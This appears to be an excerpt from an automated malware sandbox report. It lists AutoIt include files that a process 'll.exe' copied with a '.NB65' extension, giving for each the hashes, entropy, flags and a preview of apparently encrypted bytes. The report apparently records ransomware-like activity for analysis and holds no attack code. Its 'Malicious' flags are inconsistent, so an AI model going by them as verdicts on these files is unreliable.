....Kf..6.I....1K.!......M..H.......k..R9..\[|..>.L.U?..]..J.!..G..h/.}l._...Z{_.......[%.....0..Z..............qV......#Y.F.vRZ.....i.,?)v%).{....v.i.L...6#.....U1.W/..I...X..F...

C:\Program Files (x86)\autoit3\Include\PowerPointConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):7695
Entropy (8bit):7.973234968942332
Encrypted:false
SSDEEP:
MD5:BAB8F439CEDFD82EEEF8444FD7D5218A
SHA1:524D6E69B4F210E859AD421259F6A3F5A7F97AD5
SHA-256:F72CDC77B8F85C918F8C7F8F00EC945D04FADCC86114BFA2D5E6DB4AB4B57A9C
SHA-512:EA801A30452BCB26808A59F04BD5794DFFEF54B8F2F29373DEC648F35C808C212E63C530883034833621507FB95CF8F43DC4A82732DC18D2EB6C74C28EC1B0AF
Malicious:false
Preview:`.2.vx....c..pl.....<.........nhy.\.;r^|GC.._.......8..zXS'.?.Tz.V.<.G_.G....;.i.^l....../X ...Q<..fg..v..Q].i@G...5.:[.}q...=6.....W.:>...fU.sF.:...L.....;.vW>}y.....!.....I"..H.;+..?q."W8N...?w?..B..Z.......b.m....95...p~a$..S.....W.{."..ED...:G.Z......w.........4.....%..$d*u?q.2....^."..n.K.>=..|..........j..7O;a.z....X.4.9k..o... .._..0.....>..Z.y.i.!y.M.}.Z..F.|x4.r...~l+...sa...........$......6.q?....&.X...>......Q...d.....i.F...=.k...J.um~.....n...=...G.uM.()(B6.."u.zb.R^..Q......R......*u....R...8....j...ER.j..........y"......>../V...`..^.@S.....tH..J.......R..N.N..R.D.?..(<..BE.%.......9.i..K...;...Rg4.@.*..: .<.mo..X...C...^.9.G0.x.I..({..A/........m..<..sk.].q..7....v8y. .T...zF.......u0~..;.`I.Y#..mLWP..-.5r..U=..._.|q..sx.,C.c...@.....R..u.......s ...#WY..*....f..V3a[.........c........t!.d|i<....3sj.c......sP.......d%V.`o.:...Uko}....2......s;.M)$......W,.....1J...6.G...B;.......a....8..d..s....d.M..$..}....%-..t......1.-

C:\Program Files (x86)\autoit3\Include\Process.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):4355
Entropy (8bit):7.950357999665999
Encrypted:false
SSDEEP:
MD5:4B446A86CF6F30154176C6BDD4C063A8
SHA1:752AFA55BC580950FCD0B481C58FF2939EC84DBC
SHA-256:C46ADC14F1BF0D582B36D99C544F1C5139EC4DB36EE572B76ED1EEB42498D391
SHA-512:B5EB3B3921E569F995949930CDBB4C1197771F4CA96F45F42356EE90FF5F1B88D776EAB4144BB8ED971C0D55915DCE3B7D1C8FAEA2824975D17878D13E52A336
Malicious:false
Preview:,.(3..m...r...6.INp..1Bk..[..`.tc$=.......]\. )....u..j.N.P......lK7.P&.&.)..~.........p.<O.].=...8.. ....Rq.t.....N.lrw...D........;...A+...f...]U.(.+..X.].R.0.D....S}-.}....n..s..5......\....0l)......^..XH..E......04|....._.4.6}...g....1...s..-.w..Ng....l.O....o...l.......[..F.{..7..8QU{.]..;AII.L.,.[!.'.RP.H.a.e..._1j/2Bl.O..O4}%<@.B(.F......ET....B...zl.....O....B.3..5Gl.TBE.....w.<..\..f.....xtM.....>. . ..x..h.cw..L./.p8..>./...M...R..i2..bP.&...v~.&f*..(..._..f"....&~....5!|S.....lU..n?.y..D....K9Q@.)Z...v...r....S.ME../+...".M.X.7oA<.#.4NZ.J.BT....G...;O.....C..v.~......(.s.,m..../...R.].h....}A..0..+...<N.c.p..<........U.........e........fy<.....aX..D.3....JCG^*......OC...Mh;........S.pQ;.....4h.....@.... .........^1.<,...~..)P.R.zp.....GG).a8.E"...K~.A.b.........f...)K.2.Y...A&.......U.:.`l..2U....<.F.......}1..T.U..U.!......../.4#B..6cUg.-u..... i........Qq...C.k.7...I...i.`.h.7A..z.8d...\c..j~..=..E.UX".Ct*.<.K......P..t.

C:\Program Files (x86)\autoit3\Include\ProcessConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2003
Entropy (8bit):7.906869814200231
Encrypted:false
SSDEEP:
MD5:900CA257B3AAE3ABF2135C2752F2E453
SHA1:0999BCBE9521F4791B3F34D9633531FE6FBF08C5
SHA-256:6AC7148FC4652E18DC04771A66AF7085B0CBB3D98ACC0814B29E338663D47ADD
SHA-512:099A23C6B798A2B542A055F76E52BE8BC27503944A686F49383DE4A3B953C02B2D89516C24825659C6337E98F64EAA98AAB58CD23DAD5FF217ADDD0CADB8E1E3
Malicious:false
Preview:]....!y.0.Fq./.lfR..uj.R...k...........x.v..yz...v..G..^.;..^.&......U>...K.~$4.........!.\.H[t.<#Dx.n.....:9G.....b2....|.....T.?....k.\.Q....X.....e./<.Yx.s.$...S.NoB...(Q.....V....q....X...6..O.....z.D..Q7......!jP...)9...A+.c..HF.....;.qb.EQ.M....L....G/:$.....'>.<..e...p.....h0..E.C..l...e.q4T....^.>.!........G.d.as....G.Sj..8....gk.'X`.}..P......>F..k..FU...Z.>ev...@.....f../....S...4...S.vf......?.-...I@q.!P...$e....B..=...N/.L..2.I.2.<...!i.c^2....7....A...dP..fV.....[...qM........`}*.........w.7.`8R./..]K...O........./B...?..U..NDV.....!u...U\.Ya.0...~W....5.5.gcH...r.v......;{/.5.g9......Z..../..@1...............c6.H....=`....i.,.......>.....,J..4....Jy..!....6.Sw..f.j.9.3CWr.d`t......>>#....C.[E^.Bd.|.C7.e..P.n./TTF.@.<.@....H..)..Hsy....J<4.%u1..........:pp.F.. ..ax......0.4:.P....G.;.q.0..A..~.95@.d.........Q.t..8t<..........G.;..(...*.[..e....7."..vt:..C..J.5Q>.O.~....O.....}..(...j.2..h.....^...t...?_ ...=(..3..Y.i.......~V./.O1.

C:\Program Files (x86)\autoit3\Include\ProgressConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2601
Entropy (8bit):7.911501721793696
Encrypted:false
SSDEEP:
MD5:A5DBA9C832BCA4AA61A1C4F2D0B3FA80
SHA1:095B08C936A25ED718C10D36A650C7BC7392406E
SHA-256:D1B1FD9102119A4387F3A24F1989800A325A97287D4A72BBAA4E3AD4ECD36C41
SHA-512:CF48DE63964E6F0AAE5209E71ABFEDE9F528CA23BEB0F2F78670E0688C020837E7EC80A5212D717FF08E12844551BA388AAB89FD0E2624FA8450E483B9BC543A
Malicious:false
Preview:.2.\.cv.O......[r.,(..EEq.X.B....h....,;^1t"". D..2..7.....0.[^.a.}.(....EV...n..h...JkS.3M.;.Y...%.UJ/|_..mg.......K..T.8..B.^...T...Vx.Fo)E$..9....oKW6.o.....3447..T}uZ.Q.#f.N\.. )....>..RD..i.&..KaKHTGxR..W.r.@X&9...........=..`.4........]p.`.;....Fo(..=.O.y.i6;R....d....tdE..k.....A..q.U...!.....A..N..-....d.K........#..P..N.Q...:-.P.;3..D.H.QI.....s..........l:X. .qbX...v......E3.......XK..a...P....l..(`5.o...D..v..J.n...'.........i..T..K9a..PoQ..`...D..k..w...Q>.....2/Y..h..;.0G5..b.D...J|@.....y..........t9.8..|..n..d.......i9`..........#...k........(.?.m.,..;.<`|.%E..9+.......g`.A.A._w....i........6(.....@|...t`C.T..^...QV...L.|.%%s.9'67.d.H.......I..D/....dN..R.q;|.l;......2.o...S.hno....fG...........K....{].?..Z.G%...>y......L.b.].....{..)..5I..S.b.8......s...7$.-.....ZO.?.Y~....^....R..n.K....J.n..s-&..#....&..rBBU.do....q@........yO.`B..e.6...O..^.|3d..|?`..\%.....D=dE.4..,.......~g..........N..{zb......YE.....z...T.)h+.

C:\Program Files (x86)\autoit3\Include\RebarConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):6953
Entropy (8bit):7.971900297243649
Encrypted:false
SSDEEP:
MD5:52DAB7D40DA1C449F00DA43234DAEE26
SHA1:1C801CC8BCCC53230CECD1B3824596DD2768726E
SHA-256:BDE709F4869FE206EFB0B848C17E0AF00B22C76D601E83576D7B5C06291C240B
SHA-512:7C5FF87C05CB70BAC38FE4F9C3C0A2C819D8A137258B19734BCA296F5340B7855E31B2B4DD3B52BFB625CC2292D6276FDCF77A884156E4B5E314A245FC205373
Malicious:false
Preview:..V.........]^..a.p3..v...I.~Z6...o...}.=`.t}4T.0.1!.j.>..c...W.E.C........~..O0[ig.....!*xj...?........c..\P...3.7d7.3....\.-#@|3........>"..1..y&e..y..|.3.H.c.f..u|D.z|._.Yg..$E.c.=.Rmk@..\..y..h..a..=1..S..P0.>g..b.).D.J.t.W.....oM>WC..T...U....[5..|.E~WD.0...>..tU.s..&3..;by.<.PXD:...i...tv2....WeT,...r.5.!..kg....".=j).[....r_..*........E.....A*.....&.......0.#...........m...pE_8.]c./..~.||........5. .v,N...9....w...v_..P.U.0N..r2..X.i....E....Z..,.D..~.4......X^y.Q...!V>..w.).w....6.m......(gJ..m....v%].X.4..Mp.|.y..Y9....p.....R.+p.l.I..K&7.,dRr.XE..e..5..H.+..7....ZN..k.=.x.M.b4.H..;.Kr).G.0....P...45..Kc}H.~f_.,...9.I..f.T5..x..x]BdG.m"...FD.Z...f.d08...p...e....]N..wB@.W..\qsA..&.V@yZ.D..=.C.....%.M.v..E...M.h.|^.al.-.%.V1s...@.+*...$.....g.....\.V.1.4.A%D...,...yP.G......h.T............=..m.[.6[M..E.Pu.L..B..<{.A/P...6..`.4.#.Y.xT.j5.p...O..^dc...L..W.~.:.c.......+...>...7...m.V.+.q./\.'........@...`UN$0F.8.F..+p.+.D.o*7..)...A

C:\Program Files (x86)\autoit3\Include\RichEditConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):14909
Entropy (8bit):7.986170715030362
Encrypted:false
SSDEEP:
MD5:62A8A2757351F307CD2A7B0024DE3CAC
SHA1:BF161CC71C6D4C6BC0601435D88A37BFCF3854BB
SHA-256:3EA65D9FCA31DD097F7DD51F541A77D4005C499A45E2E45C593DC4FB575B98C2
SHA-512:0F7B4CB79F471A5E3FF4A5258BDC54B255D995E9FD4B2369F646DD69901AB36C34C4E728A1A52DDECFE57D30E7F367ECBC6A4A1982DC4346863B95612C6E49D0
Malicious:false
Preview:ub.P..5..v.R:/.o`...PI.8Q.bd.K.0L..z.q.......w|.4L7...w=b...?...rU...2.....2K2..%.(.....~?9......1.;J.A.gl....A....a.+..c.W.r.Cl..6J.A....p.....n..a.@.4n],.y...h]..H...h..LLf.z....c.....PcM.kl..`....8.0....&WC.~`...@..].4...7...u..[. .....s.W.z. i....X.%....m...6.n.|...S.^.q.8h..[E...........7.D].HZ:..F...%qR.\Z.t..@...C.(:b.....W.@0.l.h..!........X..m..5.........y.>.._.i5.V)....s.#.Y........]...lnF.....lP.2a..='G.^..O.d.t..*...(.e.......ol..i..E...vnV.........-..x..L.&..t../2.).iA.....^.e.h.).>..%..T...b......R.....O..WT..X..m.!K.-B..w%....>...._G].d.y..yj),w...k.:fj.+...=!m.R...[..XK.#~.B..v8H....&.X..y....'.W[..*lN.3Y9.U..e...Q......]9[..U.[..}\Vx9.V..(.)9..Y1...ae.Z.m.....$....OU.".......1..Wb .....=....8d@...e..cY.&p.....f..)>..9....'.....^.4.O.MF..Ux....> ..L%9,..<.n..|P5.h./.p.n..x~'.......E<...O}.PjF.z~..@.^P..(....r...QA....?../.1D.... ........f..m4...g.......f....Z.C.....u/)...`...i..(.N .d..u.X{#A7..Fs.o..0..m}[

C:\Program Files (x86)\autoit3\Include\SQLite.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):57135
Entropy (8bit):7.996747973620233
Encrypted:true
SSDEEP:
MD5:69518475850CA6C8CC042664C988FDFA
SHA1:BD6C6CB087472F229A7D6FE838731A4BDD1922DE
SHA-256:934F7B2B05582DB0432D20DA17F17A4D314CC72B172088F371CCD44302E56541
SHA-512:15B9324BD4DB5C0022C5E5CAA8645A153743412ECC29ABDFE3A26163E77A006AF68625CF2E1431E4E08021D4B7317095DC8C44AF2F141854D0C4E476215C6256
Malicious:true
Preview:.......<.E...!!.O..yD5..A..v.2.F..2..k.[d.....s`C.V.rx..g...:..>.Fl...O.1..]bC.K =..8..k.y@..u.....3......)h?W=.$.....L.e..W.x..=...".....&...Rf.3....._*....?9.r....7V...k[m...L..m.D.H.=.3.el...3j|9$.[....K .=....^...c/.,I.C......(H..4.o.4>Ot..0S.wl....b...G~[..,.)...8./.8..=..V.oi.G......s..f4........L...kPn...r..x.N....K.."2wf.l...E.D=.........cB.. q.....VJ...u"X..E.....V.)/00...MbO.Mr.yF-..<.}_@_../..-l....,........ug!=w....W).....L.-Y+.w....$...-...R......i.<..u..w............v.M`<....hn...ul6../.j...F...L......m..w.Bl..A.P..nM._. .XC._;.'.......v@@Fs.[........~.....RX..QC.a.m...h.WY.Y....q.GL...@3.N&.....e..:..:W.am..!6..[.....Q2........7>{..v..XR|2.......F..rs..)a.]/...Pg.c.c],......W(.;.0..7)..ma.J..<....B..R.5.Khx..Z3,U%w..G2...|.,...~...............fO.....J.SE<gt$...RkfF..C...Xt..grW#0............`..i....f.f...m3._..C.......+%...a......2.. .c..............n...h.@X5.....2+._...U.*3..%....b..Z.;>...H.G.....6........\.f...!

C:\Program Files (x86)\autoit3\Include\ScreenCapture.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):11563
Entropy (8bit):7.984598246005143
Encrypted:false
SSDEEP:
MD5:4F42DCF02F799D638C53D795D265CEF3
SHA1:25DE1C8325B5500D51D9EBE68FF0DDF39F559770
SHA-256:609A4092CBFB13386542B8BE9F5FDD093F75ACF70BBEDCF249CB9C69C755328E
SHA-512:147A18A78F47AB227EB18E18B4D073526A5BF68FBDC090A902B38828F1AD9071EAA50CEE10479C2AA0E697427C1DDA50D217CE1B321CD9621165132F307DF51B
Malicious:false
Preview:.O..$.."..............@M..l.Q....zP...A..xr..|l._.!.......*"...h..@..3u5......G.yr.....+VPA.p.......G...l..Q..?v$..e.xrk.B|o..1.C.pv9B6L..l.._.@.y.....!...V..:;...w.%..LXs.d.f..R.]..Q4[...Y........(D..@.g.L..o...z4I.........L&.T..nG....$.H[p..OU..g{:"..\.K.....v..g...&".D..........g..0..w.Z-.b..N.]...cpG\u.K.........;N.../t[..u.......;..PId7...e.....R...\.}.V...J.Lv.L.7B.N.-..^-..`$.<#..*{.W..7:J.H.........hJ.R.'.,..A...A....h..:..y..U.u..3..X....iH.*..4...^N..W.\.R....h..<..........u......T..d..._ZB...$...CvO/lf......A..3W..a4...C..O..@7.Hpg.....1.t+$.*.t.].EQu...........)l.\..GOQ.?.......Vi...E.=Vu..V.&0'.5..!uU1,..>......l]....@.Rv...0....#.).dw].....R......T.........F.Hb9.'V.@w...D...HyxD....(....s.42.z".|]r..l.>.U.E..4....{_ZA^.@..3. ....?....6..ty./}?..?..'.L...Py.E..(t..Y=..i.zLm. .$&v..& .TY..l...jHN....x..c.+.vn.{[Z........r.~|..N.S.).H.Z.m;.......i..o.......l.=.(+...4to^...J........D./.oyi..hT*G:...H.rm).}.;......*.w.D.N%..>

C:\Program Files (x86)\autoit3\Include\ScrollBarConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1032
Entropy (8bit):7.761902722076084
Encrypted:false
SSDEEP:
MD5:CF9976EF083A972769E3EDC9DFC63D94
SHA1:3F001D5E3D1EEFA5810469DE7B5338CA73F3EFDE
SHA-256:997F9A10435B8FC2820988AB4F19AA32653F52507FE674D003C55EEF8EFC8481
SHA-512:FFFF3463635C5C7EBC912F150E5DD3CEC776AFA7906E7DE006CC5E3FA2F7B7CDDBE8C0EB884EE79610F36BC13628049DCD0330CB6567424A6067B06C278DB176
Malicious:false
Preview:..p....y...r...5.......q..Q....K.@^j.*3$z..lv.&|8L{Y....K.D...}..+. B..#1x....#x...%....(r....8./..tbD..F..G.km.6.1.. ..f.<..T.....[..=l@=.W.+.b..f(...m.....W..f.oM.T....Y......y:...Z......+...y.?.c+....\2...1.7.H8hE...'../..../.)...-.>...G.'=#...%Y.%.....~..J...(..........A....b..N..?...........NG6....O......@.)v.._p..N.~.]:.gcd.S.xO.K...<.C...7...t....0..I...].4Q.E.g.v..%.9.C.0d:.,o5f.G....` .%.f7.4...(0..Yh.....\..5t .dq.3>.:*...%.fT/"Q9...qf..V...Jn...X.gN.A_Q.T.8`I#.$...+._.&.f.+..}htxG...N..l.4...2.:5.%.P&@..].I.Yy..3~s....x..-FEK....a..js.5[b.j.U{x4..o....'8.....J!Bv...NIP..>.P......+[..k....Y1PG..WTJrw,......!..b..@.G..........C=..RB.......;.R)"..2......C...9...}...c@2...&..e~%...-.1=.b.4.<...^...b..y!#4...O-%h......k......$.8.../.-d:Ex2j.b.:..'..utC..W,/%...nfK..%..@&.v.l...>f.d.....+..7....G..o..$...dQ.7...Yq.]........g.{...t.g,.>o[g...l.....X%t....h.c.h...........9h../,Zr..7(.....R...H....u.5J.,u].B.....e.r.O..w..(

C:\Program Files (x86)\autoit3\Include\ScrollBarsConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2495
Entropy (8bit):7.9191206117110555
Encrypted:false
SSDEEP:
MD5:4CE7D2C80C826C18C21AFA25019A600A
SHA1:40130C98FAB123DB9A355A7F34E0727F315097F6
SHA-256:18E848F45458435F4334C21EF7BAAE2EC1A4D5D155B132CE82725E5183AB9F02
SHA-512:A2FEA09AC28DD046A1571AEEA84825431D587A659F1027D241832FDEA48E3596688643890FE60524EA4C449F4844A907FE7167B069C00964439714AC093AC4A3
Malicious:false
Preview:........i9........@G.5 8....BO...H+..C......v.`...[sx.f..i...b.V...0....:#.`..Th...a..........f..T}.^....i..@l.bwoJ.qb....o.t..+~...0.2...h.;.b.Wg.Ro...y..6..4iw..q...su.H.......o2(.9M.O.0....7..b..RVw^..Ib.d~.MF...A....g.8z.....Q$............X..h;I....M....O>.H<..@....EJ.(.N.4...lXb)`...+)..g\@....@.V.'.....Ii.-.J.).OSO..eCG..a|.,.....}!...).....g..xYc......>..f..;R.)...#24..C.(.q..]+.ElJ.]...k.1^n..*j....{qXi....`T..._/..f...+........"obJ?........JL....`.FHk..C...HM.O...z<.....{.>......P..)_.B..`.`.<Z......K.%...f.^V....5....Kl..c.(.................7{|.._2LvKzc..=.g..............,^..l.t.w..,;X\.v1...~..j...7.n.S.v.g..VCo."7.....`.%y.....$.6G~^.8..J.2..oo...p.<..G....%.o......U.R>A...(`.Z...^....J.=.?.....T'..bg..@j,9...1.D(|..$....'@D.WGn#..8.&..{...(....y.T...B......DYmT..^i+\.?..M=v...].G.d.].._.U...0..t.%.2..@....h=....GG6s../.&.C.-.g*J.S.y6Z..........)9....:..D...|)<.@QU.*b....S...X.;....".t...P(.L....I.!/....S.B.$|.z...

C:\Program Files (x86)\autoit3\Include\Security.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):18610
Entropy (8bit):7.99009907238508
Encrypted:true
SSDEEP:
MD5:3AD8334F07FF0C88F9E3AFEA585D9B6A
SHA1:4A950FE5C208D550CFE587F527BDF6D9682E9445
SHA-256:F8C887D5CB453D2B03FD96DE43EDC10C648C12F4CDDAC680800BED96729B005A
SHA-512:B1382DA2C8758B985D8062F236932036A3EE8314C314E0BCBCCF54C9BD59B656FCDF58E2319F0D35860DF65835C6272B3A818FA93DDBF9498A9545F8F434F167
Malicious:true
Preview:/.C.1.r........,...-\...Y......%..a.K..\...`.LkM.T...*9>;J.....s.\b..b..z....D.k..%.M%..C.=8k_.E&....D..Kh.M..E.:.h..;..ydx.g2...#.....$.......V...@....R....t.U..{|...7<&...2.n.>g..,.X.....%Z5.g.....}....%ZR.".'..=..Y..P.e..J.}.q........V,<.p..7.........Q..p....f...5.....#.a.M.2......'..y.1(1/..0....z.%-rG..{.t.s=.zO..p..gI....._..c:...w......q.R3.nk......4.U.v~......}P..RE{.z..<1......E\.?.YO 1D...[R-@..\{...y.:....8.}..q..\,.q.....S..96P...L..w...8.m+.......0.u.,....F.ur...{.......l...)m.LR..r.4_U...,.!7n.#...x.s.C./.fZrnChHN.M^Vv.<.b.3...,..7.....q-.6..W.u............#o<.ZJ.(....6+a..4].wY./.jg.9F'eE.-...p.QG1u.d.Pj.g(.(R.^T.$<...d..,>......|..1..<...{.El..V|..Li.e..a..'...M3..../.....+6._.8...'.(5..N.&.....d...i........`<)egF...........B..`...d..e......C[..X.k7[m.7...w.8..K.X..v1..0.zC.cM.h..l...#u^$.7..2!.F...<GD$n]5.G..sf.(.4...,..?'.)DI..{c...,.u.n.]...(....<rlr<.%..]Ha.......[.z.K......"@...gtp....Yq.......b..<........wc

C:\Program Files (x86)\autoit3\Include\SecurityConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):8492
Entropy (8bit):7.9744790314204215
Encrypted:false
SSDEEP:
MD5:76A238D4606CD62CFD66BD576E1BDAD8
SHA1:4DF075AD5EFE24840F423EDA9BCC06CC56613BE7
SHA-256:7C0708064EBDEE24EA2032A252555339E49B7219D0DC945E0138BE88958C093D
SHA-512:589533FB36BC150B0E016B278C4D990EA380D927F6E1E1A551947892DD7696A274B5C3D9E576BB8E9DDAD9F157FD8CC27805785667ED252C6307F2FD43ABC1B8
Malicious:false
Preview:U....d*.g^9...s.I...YgFV..w@*......N `..8..Q*z..S..b.\+......R:.<~4.T;...+......F....s.`.....r.(J...u.NS J...Hx........W...tC..l....M.....%B.....B?k............5.@j.]V.a.5.[.....J 4kj.>LpQ.nQ.I.+...q.6..=. ..1.l...lw .Y....Zo{...=......b..k...R<cf3T.Q3.Jc...s..=.q:M0....[.6.5./..4...p.>]._...=y....\.~8[r..e........3*....4.~D.XC...t.K..dx...!..j..y.:c..'Q....(E...\.#N.S[.Y.km..@'j-.....q..N...#h.?.*.....Im...(.G.X.(@.>.J.?..d..`....?[1..Ko...U.?i...H..R.. <S....a.af.*..d}P...w..p.i}.n.8...#...Tr.H}.}.....2.a.T.A.Ok).DY...v..G....w8.Z.x.&....D.X.+..b}hg.`.....|...s$t.Yv..N....m.0K.u...N......v.....R....IS_:I..........L.r.Z...g9...qdz=L.g/{.C.....V..$..>....J........N.h..:...A4DZ,..p.....,b.(........UzD..B..3..V.._..$.......P.ZJdn.....JWm..E .T!..n...J..*.)B.qcooU.r..Z...5...l\w..>Z[.Lt......K{g.......l}..b........_.+...E.8M*r.z...h...G.C..&..^..moT..Xk(...@.L..G].R|$a.h......T\m.h..3..j.'....2..\&.]....){..]....5j.Jv.$..{.4...p......O}..

C:\Program Files (x86)\autoit3\Include\SendMessage.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2914
Entropy (8bit):7.934633910241685
Encrypted:false
SSDEEP:
MD5:90B6D11444DACBBE4060B20B2C7E30ED
SHA1:6C25586C61CB2B26EA9DE84C39E604DE5107A51C
SHA-256:A3DB94D1CDCB3288B0BF6E9C2A8CB85BE9B8AB0D999F4AC09BAF77B3AF44E7C4
SHA-512:CA4C77D65C22596A238B56D5144FBA4FEAA2326ED298C5A4C2F10F084D05CE55321EC9CC8ED0B5B818BF210E23D7FECA0C98201C7B4392DA949F60AF61886055
Malicious:false
Preview:..GH.!..T.!G......&<..G...u@;V.#....Jy..`.%.....'...Y.-...Bj.9.. V$^5..]{]...!.@.....8..v?FK..<...bo....P...0v@.;HP.zG....v...94..m..a][7...o...h...d..`.W.7.oa`.....R...x.g.h..j......?.....,.c..M...zQgB.....$+o+..O...b..$*...E.*B........=*.&h..s.._RW.==.@O..>?.]...>v..........s...4.Q...SJ.L2..../E.%....4.7.ArD.hV..I.N:......^.3Y..r.......0.0.z..X.........CB...[...}.....N.........0(nL..6.6.......#p|..m.K...../.*..cX...~M.N.4.-....?....f.0 .y.|..{..B.u.....D.w.`.Q...U....x.;....$^./..O.X........YAoR.....3...C..C...*....;.e...,....M.)^.9...+.%{..k..........!..J&Z..h........I.~.U....e5.J[."F =.m.?;z.s${..L.^...V..7O.J.Y../......k...M.V..8$....,.V#.U.."O.z..b.{.{s...Q...p...^.....n.-.. ....A4*.F....10..b`...5\......j........d.(.5.fl.....)3...NV/.i.s.`..J....4...ZS....}.3W.*........"K3....t....>Jt....i..#....|...j.S...2....S\C....\.s....p....Q..oK5.O...6..C....;x.`.{.},R...^...5...E,.$r5.I...2....}.oE...x(.)~....@.Cj...]_ya+21.y.....e.Y..

C:\Program Files (x86)\autoit3\Include\SliderConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):4798
Entropy (8bit):7.962417144761663
Encrypted:false
SSDEEP:
MD5:9C2D8CDEA5FC9CC6F68D074FE935F70E
SHA1:FF43A3198AE6361A19626DF1AD7D4B0679B89634
SHA-256:A53C25391F5C9C00BF6A00252742739EB07EB7FC9409F5B28A9C2901AAA21E22
SHA-512:27A092F4B5FF5AFC8625B8C19B5F850132FA35828E084C690944B172C71A2E6D485685B674CE8CDFFED87C2985139E6CC9AD13E58AC318A6E391CC0C8D9BEE97
Malicious:false
Preview:...Ld...Bo!"..I.B.m..Z...h.G! 2.a...<..A........A.j...K.J.-o.!....3y.%...b.e_..~...X../Cx.......m.....m.......P.!ZP...yW...7d.{..>...p..n....!.h.....9.P.........{..4\A.-(3....a.*.m_.(.....`>.z.(........,.`..A..|..W.....m.d.owD. ~..K.j1.4...D"..k.J..j....../....\.+..?.?Dg.=@+..`.....f..QI.8.....j.T..L..............9..#.e..n,1..&...|hT..].+..S.....?..L..pGz.h..tA..G.[..".....5.C[......4...^.%.*.LU:..PS..A!F...$!e2R.......gi.SNh\... V&b-..@T.+...&T.....]..".mK......p.....;.....xB..s.....#.=#..B..x.........pw.{.?.`$..vK..x.+.M4.. .s.E.]...;....~.9...`.?.&X.4..Km..a.u.....l.n.0"....x.......}9.O.D...l2.D. 7....C.?B^MD.8...<..|......{..-..)S..F.`k.lq.7....n.[6'.!.v...<2.+...XY....G.5.m.K.\9#.mKOw.....[PY.y...d..No..mSu......</..Q.5.".}.5W.....%&ku.w...HH.S$(Qr....X{_C...@y.[..A.+..tX..........0s.<....-....x......1r....C.....PBD...5.....o.....1EE.......JK.......:,.$..7.0....%..9..+f.n.5IXF..B".J..m.5s.[W..!P.U....2/.H ...}......g.".W

C:\Program Files (x86)\autoit3\Include\Sound.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:DOS executable (COM, 0x8C-variant)
Category:dropped
Size (bytes):23482
Entropy (8bit):7.99150605101537
Encrypted:true
SSDEEP:
MD5:1D5CB55B185212EDB27A4F36F2A1083B
SHA1:537F0FDB55304724A4F499B16255B8455203532B
SHA-256:851F003108F931CC54848677A424F30E06781A3ED7BA3CADC818E5AA8BC5BD55
SHA-512:51F89A5C8888C7CCAE23959D9347892F8AC4E7A92CFAC025E384C23A20EA7F311AB53050E510F3F7E0EDB375FE74895056F1F2A92730617131A900748A8D5749
Malicious:true
Preview:.*|C*...hmj..,....W..q.k.O.0.l...O5.@....}.E2sp...b.....<Qcf)..O...(....9...=.Iw"I+z:D.,.....ZN+..v.....$."...kN...v.zG0.._..C27/...`./.*...8...A...5.^+...Cj.I..H%G:...$.............0=y..dJ....z....(/....f......q..B....fn.:.[.$.}.....T....)B...Wf...RU_Vc...m^.F]x..zVL..k.M..`...BF..UM.P.t.v...:.:..N..`..e...k.uZ..-...)U?....b.....V.\..yd9...d`......77c...oc...m..1.b..F.>.{:...F/...z.ZR..T.\ryK.4..'6.?.h...b..>..rD..@.E......G_R.Yd....V....#....)Zo....$.B..*......bLNK...}...'s.[.Y.."y^.\...2..s.M...&.........*...VWk8....;.}..5G.C.7".~.W....;./.('...$s...|f...E.....8...4[.b...C._.....h...7m7dH.d.Z.l.....1....-.i..D.aW.8...l.Y.:..#|...M3e..b.?.c*Y..t.&.r........[.k0.Fb.. a......TCT...b...e....?.bd..~.G+x......T..L....).o....p.....X...Li......G.eR...!.+......Z....(.3.7......gte.2....i...gZ+o.......~..J.Mm...BD.t...:#..B..]5.....{a......wT..5......(....N..`x8d)h.]..V.1....lL.B.j.....u.X..t..,..a. .9..M.$.^...b.U.........n. m.f.7h(+....3.W(!z.....n.@.L.P

C:\Program Files (x86)\autoit3\Include\StaticConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2511
Entropy (8bit):7.924841986204284
Encrypted:false
SSDEEP:
MD5:5342656E17D529000FAB144385CFBDBC
SHA1:3D2B8109DFE2D54122E43985D971A9708C3AA1EF
SHA-256:A4649B58B0065892A7023A6BF75AF06072544C146D9F24020E5283BD1C80937E
SHA-512:BDB56B11B62D2C5B521DF67015721131095921B63DEB2B9296805F598A52095F7929D050C6E97DD06727A1141C33C9BCB5A3FC3529713F4D367BE6A59894C87B
Malicious:false
